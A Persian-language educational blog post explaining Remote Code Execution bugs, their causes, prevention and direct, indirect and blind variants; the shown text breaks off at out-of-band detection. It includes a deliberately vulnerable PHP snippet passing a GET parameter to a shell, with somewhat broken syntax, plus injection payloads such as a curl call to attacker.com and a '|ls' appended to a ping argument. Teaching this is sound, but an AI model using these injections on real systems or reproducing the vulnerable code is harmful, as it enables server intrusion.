باگ RCE یا Remote Code Execution چیست ؟ از سیر تا پیاز
تجزیه و تحلیل آسیب پذیری RCE (Remote Code Execution) – باگ RCE
با یکی دیگر از مقالات آموزشی امنیتی تیم بلک سکوریتی خدمت شما کاربران هستیم.
امیدوارم حالتون خوب باشه در این پست قراره در مورد آسیب پذیری یا باگ RCE صحبت کنیم. با ما همراه باشید..
آسیب پذیری یا همان باگ RCE چیست ؟
امروزه محبوبیت برنامه های کاربردی وب به دلیل برآورده کردن الزامات کسب و کار و برآوردن
نیازهای مصرف کنندگان با سرعت بیشتری در حال رشد است. چندین سرویس وجود دارد که از طریق برنامه های کاربردی وب ارائه می شوند و عملکرد آنها از طریق زمان پردازش خدمات و عملکردهای اطلاعاتی اندازه گیری می شود.
- اما در عین حال، به دلیل اعتبار سنجی نامناسب، می توانیم با تهدید مواجه شویم. در حال حاضر، حملات سایبری به یک خطر حیاتی برای هر تحول دیجیتال در سراسر جهان تبدیل شده است. فقدان دانش امنیتی و بی دقتی در کدنویسی علت اصلی انواع مختلف آسیب پذیری برنامه است که در سیستم وب باقی می ماند. در آن، اجرای کد از راه دور (RCE) یکی از آسیب پذیری های جدی است.
البته این آسیب پذیری مخصوص وب نیست و ممکن است در سیستم عامل ها نیز رخ دهد.
Remote Code Execution (RCE)
اگر مهاجم از طریق نوعی آسیبپذیری، کنترل سیستم عامل یا وبسایت هدف را به دست آورد، و همچنین قدرت اجرای دستورات را در آن رایانه راه دور به دست آورد، این فرآیند را Remote Code Execution (RCE) میگویند.
این حملات ممکن است به دلایل زیر رخ دهد :
- کاربر بتواند در یک فانکشن خاص زبان برنامه نویسی که با سیستم عامل در ارتباط است. علاوه بر ورودی برنامه. ورودی خود نیز وارد کند.
- Buffer overflow
- اقدامات احراز هویت به درستی انجام نشده است
چگونه از حملات RCE جلوگیری کنیم ؟
ما می توانیم با در نظر گرفتن موارد زیر از RCE جلوگیری کنیم :
- با اعتبارسنجی ورودی کاربر
- روش های احراز هویت به درستی پیکربندی شوند.
- با نصب buffer overflow protection
- فایروال
مهاجم می تواند چندین تکنیک را برای سوء استفاده از آسیب پذیری وب سایت RCE دنبال کند، آنها را می توان به دو دسته تقسیم کرد:
1. اجرای کد از راه دور مبتنی بر وب : آسیب پذیری RCE مبتنی بر وب یک برنامه وب است که به مهاجم کمک میکند تا فرمان سیستم را روی وبسرور اجرا کند. این نوع برنامه ها شامل نقص های سیستم هستند.
- بهره برداری مبتنی بر روش GET : در این روش بهره برداری RCE وجود خواهد داشت. این برنامه به دلیل عدم پیکربندی یا درخواست کاربر، Exploit RCE خواهد بود. مهمترین چیز در یک برنامه وب، اعتبار سنجی ورودی کاربر است.
- بهره برداری بر روش POST : این فرآیند به بهترین وجه به عنوان فعالیتی به تصویر کشیده می شود که به صورت فیزیکی به کدهای اجرا کننده از راه دور حمله می کند و از چارچوب برنامه آسیب پذیر بهره می برد. RCE به دلیل استفاده نادرست از برنامه کاربردی بی دفاع ایجاد شده است.
2. آسیب پذیری های RCE مبتنی بر سیستم : سرویسی که بر روی هر سیستمی مانند اندروید، مک، ویندوز اجرا میشود، به مهاجم اجازه میدهد دستورات سیستم را اجرا کند، که به آن آسیبپذیری RCE مبتنی بر سیستم میگویند. برای سوء استفاده از آسیب پذیری، مهاجم به سیستم کامپیوتری متصل می شود و از روش هایی استفاده می کند که شامل تزریق SQL، سرریز بافر، اسکریپت بین سایتی و برخی کیت های بهره برداری منبع باز است.
بریم باگ RCE را بهتر درک کنیم !
مثلا داخل وب اپ ها جاهایی وجود دارند که برنامه نویس اومده و از طریق یک زبان برنامه نویسی یک کدی رو سمت سرور اجرا کرده .مثلا یک پلتفرم کم حجم کردن یک فایل رو در نظر بگیرید. برنامه نویس اومده روی سرور یک برنامه با زبان سی یا پایتون نوشته و فایل کم حجم شده کاربر رو میده به برنامه و برنامه یک کامندی رو اجرا میکنه و این کامنت مثلا با تابعی مثل eval() داخل پی اچ پی اجرا شده.
eval(‘ convert.py --min file.mp4 ’ );
حال فک کنید هکر بجای file.mp4 یک دستور خطر ناک رو وارد کنه یا حتی بعد از file.mp4 مثلا برای اینکه syntax کد بهم نخوره بیایم اینطور بنویسیم..
eval(‘convert.py --min file.mp4 ; curl attacker.com/some.file’);
اینجا هکر اومده بعد از اجرا کد برنامه نویس سعی میکنه که یک درخواست رو به سرور خودش بفرسته.
حال اگر هکر لاگ های سرورشو بررسی کنه و ببینه که از طرف تارگت درخواست کرل اجرا شده یعنی این وب اپ دارای آسیب پذیری RCE است.
RCE به سه دسته تقسیم میشود :
- Direct Result
- InDirect Result
- No Result
Direct : در این حالت برنامه نویس یک کدی مثل ping کردنو نوشته و ریزالت اونو تو صفحه برای کاربر چاپ میکنه پس هکر میتونه نتیجه RCE رو تو صفحه بببینه.
PHP Code : If ($_GET(‘ip’)){ $Res = shell_exe(‘ ping -c ’.$_GET[‘ip’];); Echo $Res; } site.com?ip=127.0.0.1
در این حالت کاربر هر ای پی که وارد کند وب اپ پینگ اونو میگیره و بر میگردونه. حالا اگر در ادامه ای پی یک دستور خطرناک رو وارد کنه نتیجه به این شکل در میاد.
site.com/?ip=127.0.0.1|ls
اگر آسیب پذیر باشه علاوه بر پینگ جواب ls هم برای هکر تو صفحه به نمایش در میاد.
Indirect :
در این حالت هیچ نمایشی در کار نیس اما نتیجه رو با تغییرات صفحه تشخیص میدهیم .مثلا اگر در سورس بالا بجای echo برنامه نویس بیاد بررسی کنه که ایا هاست و ای پی valid هست یا نه و پاسخ رو بده دیگه نمیشه مستقیم ls نوشت و باید نتیجه رو برای سرور خودمون بفرستیم .
No Result :
در این حالت اصلا در صفحه هیچ تغییری نداریم و مستقیم باید Out Of Band بزنیم.
Out Of Band ینی چی داخل No Result
؟!